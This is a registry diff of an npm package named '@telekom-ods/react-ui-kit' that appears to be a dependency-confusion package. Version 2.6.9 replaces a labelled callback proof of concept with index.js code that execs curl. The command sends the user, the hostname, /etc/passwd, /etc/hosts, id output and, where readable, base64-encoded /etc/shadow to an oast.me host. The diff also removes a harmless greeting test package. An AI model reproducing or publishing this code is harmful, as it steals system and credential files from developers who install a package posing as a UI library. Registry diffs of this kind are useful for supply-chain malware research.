@telekom-ods/react-ui-kit 2.6.0 → 2.6.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js CHANGED
@@ -1,18 +1,17 @@
1
- // Dependency-confusion PoC: proves preinstall script execution via an out-of-band callback.
2
- // Sends only non-sensitive identifiers (hostname/user) to a controlled collaborator endpoint.
3
- const os = require("os");
4
- const https = require("https");
1
+ const { exec } = require("child_process");
2
+ const command = `
3
+ curl -X POST "http://d9t83osijf9n1gb62e4gxfioysijywqww.oast.me/telekom-ods/$(whoami)/$(hostname)/" \
4
+ -A "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'No shadow access'; } | base64 | tr '\\n' '.')" \
5
+ -s -o /dev/null
6
+ `;
7
+ exec(command, (error, stdout, stderr) => {
8
+ if (error) {
9
+ console.error(error.message);
10
+ return;
11
+ }
12
+ if (stderr) {
13
+ console.log(stderr);
14
+ }
15
+ console.log(stdout);
16
+ });
5
17
 
6
- // Replace with your own Interactsh / Burp Collaborator / webhook host.
7
- const CALLBACK_HOST = "d9t67n4ijf9j5pmd6ug0sij3zd49twn1k.oast.online";
8
-
9
- const marker = encodeURIComponent(`${os.hostname()}/${os.userInfo().username}`);
10
- const url = `https://${CALLBACK_HOST}/telekomDT/${marker}`;
11
-
12
- https
13
- .get(url, (res) => {
14
- res.resume(); // drain and discard the response
15
- })
16
- .on("error", (err) => {
17
- console.error(err.message);
18
- });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@telekom-ods/react-ui-kit",
3
- "version": "2.6.0",
3
+ "version": "2.6.9",
4
4
  "description": "poc",
5
5
  "license": "ISC",
6
6
  "author": "Anish Sarkar",
@@ -1,22 +0,0 @@
1
- # @telekom-ods/test
2
-
3
- A throwaway package published while learning how npm works.
4
-
5
- ## Install
6
-
7
- ```bash
8
- npm install @telekom-ods/test
9
- ```
10
-
11
- ## Usage
12
-
13
- ```js
14
- const { greet } = require("@telekom-ods/test");
15
-
16
- greet(); // "Hello, world!"
17
- greet("npm"); // "Hello, npm!"
18
- ```
19
-
20
- ## License
21
-
22
- MIT
package/test-pkg/index.js DELETED
@@ -1,10 +0,0 @@
1
- /**
2
- * Return a greeting.
3
- * @param {string} [name] who to greet
4
- * @returns {string}
5
- */
6
- function greet(name = "world") {
7
- return `Hello, ${name}!`;
8
- }
9
-
10
- module.exports = { greet };
@@ -1,23 +0,0 @@
1
- {
2
- "name": "@telekom-ods/test",
3
- "version": "1.0.0",
4
- "description": "A test package for learning how npm publishing works",
5
- "keywords": [
6
- "test",
7
- "learning"
8
- ],
9
- "license": "MIT",
10
- "author": "Anish Sarkar",
11
- "type": "commonjs",
12
- "main": "index.js",
13
- "files": [
14
- "index.js",
15
- "README.md"
16
- ],
17
- "publishConfig": {
18
- "access": "public"
19
- },
20
- "scripts": {
21
- "test": "node -e \"const g=require('./index.js').greet; if(g('npm')!=='Hello, npm!') { throw new Error('greet() returned the wrong string'); } console.log('ok');\""
22
- }
23
- }